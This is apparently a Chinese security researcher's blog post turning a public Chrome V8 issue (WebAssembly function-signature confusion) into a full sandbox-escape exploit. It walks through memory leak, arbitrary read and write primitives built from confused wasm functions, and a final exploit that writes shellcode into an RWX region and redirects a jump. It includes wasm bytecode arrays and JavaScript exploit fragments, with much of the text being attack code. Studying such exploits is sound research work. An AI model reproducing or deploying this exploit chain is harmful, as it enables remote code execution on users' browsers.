上次做了一个相当于POC -> EXP的漏洞复现,感觉还挺有意思。
准备最近工作之余有空就看看chrome issue里面有没有好玩的sandbox escape漏洞。争取做一个poc2exp的复现系列
Issue Tracker
详细信息:https://issuetracker.google.com/issues/361862752
poc view:https://issuetracker.google.com/action/issues/361862752/attachments/58895313?download=false
poc download: https://issuetracker.google.com/action/issues/361862752/attachments/58895313?download=true
issue基本信息
- v8 commit:
779c29ef6a4b0191efe579ff067754219e9b420b
- 漏洞:函数签名混淆
前期准备
在正式开始前,先补充一些基本信息
安装wasm-as
首先需要安装wasm-as,用于将wat代码转换为wasm字节码后面会用到
1 | # 克隆带子模块的完整仓库 |
安装成功测试:
1 | wasm-as --version |
输出类似如下内容:
1 | (base) ┌─[loorain@Loora1N-16pro] - [~/v8/binaryen] - [10296] |
POC
POC的完整代码可以从文章开头的链接获取
WAT
首先poc包含了一段WAT的注释,用于代表wasmCode
的字节码内容来源
1 | (module |
包含如下几个部分:
$struct
结构体,有一个i64域struct_placeholder
,用于创建并返回一个新的$struct
write64
,SharedFunctionInfo类型为js-to-wasm:ll:
write64_struct
,SharedFunctionInfo类型为js-to-wasm:rl:
SharedFunctionInfo
这里略微补充下下关于SharedFunctionInfo
的内容,当我们使用%DebugPrint
查看wasm函数信息时,会得到类似如下一行
其中保存了函数的相关信息,以及我们后面要进行替换的trusted_function_data
指针,具体如图:
这里的:ll:
代表了函数参数和返回值类型。
第一个 “:” 后代表函数的参数类型,第二个 “:” 后代表返回值类型。举几个例子:
:ll:
代表param(i64, i64) –> result(NULL):rl:
代表param($struct, i64) –> result(NULL):l:l
代表param(i64) –> result(i64)
WAT 2 WASM
我们也可以自己编写的WAT,然后通过wasm-as
进行转换:
1 | wasm-as --enable-reference-types --enable-gc xxx.wat -o xxx.wasm |
保存为wasm文件后,可以使用脚本生成js中Array
的格式。这里我用GPT生成了一个python脚本,仅供参考
1 | with open("xxx.wasm", "rb") as f: |
运行截图:
逻辑分析
有了上一篇文章的经验,这个POC相对比较简单
直接使用gdb调试运行,卡在非法地址写
对应POC中的代码如下
1 | ... |
1234n对应16进制为0x4d2,也就是说这个POC本身就是一个了任意地址写原语。
调用优化
1 | //Ensure the write64_struct WASM function is fully optimized |
首先需要对WAT定义的函数进行优化
trusted_function_data替换
1 | ... |
通过特定偏移获取SharedFunctionInfo
中的trused_function_data
指针。将write64
的指针替换为write64struct
的指针。总体来看,POC逻辑还是比较简单的。
Leak & AAR
我们已经有了沙盒外的任意地址写,接下来还需要:
- rwx段的地址泄露
- 沙盒外的AAR任意地址读
内存泄露
有了之前的基础,我们很容易就想到:将多参数函数与无参函数混淆便可进行内存泄露
WAT实现:
1 | (module |
这里使用
$val3
是多次调试的结果,能够稳定泄露rwx段的地址
新构建POC,与之前类似
1 | let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,12,2,96,0,1,126,96,3,126,126,126,1,126,3,3,2,0,1,7,19,2,4,108,101,97,107,0,0,8,108,101,97,107,95,105,54,52,0,1,10,11,2,4,0,66,0,11,4,0,32,2,11]); |
运行可得
AAW
类似的,我们混淆param($struct)
和 param(i64)
,即可实现
1 | (module |
其他部分与之前的原语构建类似
1 | ... |
可以看到的确可以进行任意地址读
EXP
下面可以开始实现EXP,这里我使用和上一篇文章一样的漏洞利用方式
- 新建一个boom函数
- 写入shellcode
- 进行jmp地址的跳转劫持
WAT构建如下
1 | (module |
可以从图中看出,泄露出的地址附件与上篇文章一样有类似的结构。由于boom()
从未被调用过,且其恰好为低8个函数对应索引0x7
。
对应地址下断点,并调用boom()
,也可以验证我们的猜想
EXP
剩余就是写入shellcode,然后修改jmp地址即可
但其实这种手法的exp,暂时没有AAW的原语也能完成利用
参考exp如下:
1 | let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,43,8,95,1,126,1,96,0,1,126,96,0,1,100,0,96,2,126,126,0,96,2,100,0,126,0,96,3,126,126,126,1,126,96,1,126,1,126,96,1,100,0,1,126,3,9,8,2,3,4,1,5,6,7,1,7,99,8,18,115,116,114,117,99,116,95,112,108,97,99,101,104,111,108,100,101,114,0,0,7,119,114,105,116,101,54,52,0,1,14,119,114,105,116,101,54,52,95,115,116,114,117,99,116,0,2,4,108,101,97,107,0,3,8,108,101,97,107,95,105,54,52,0,4,6,114,101,97,100,54,52,0,5,13,114,101,97,100,54,52,95,115,116,114,117,99,116,0,6,4,98,111,111,109,0,7,10,53,8,8,0,66,210,9,251,0,0,11,2,0,11,10,0,32,0,32,1,251,5,0,0,11,4,0,66,0,11,4,0,32,2,11,4,0,66,0,11,8,0,32,0,251,2,0,0,11,4,0,66,0,11]); |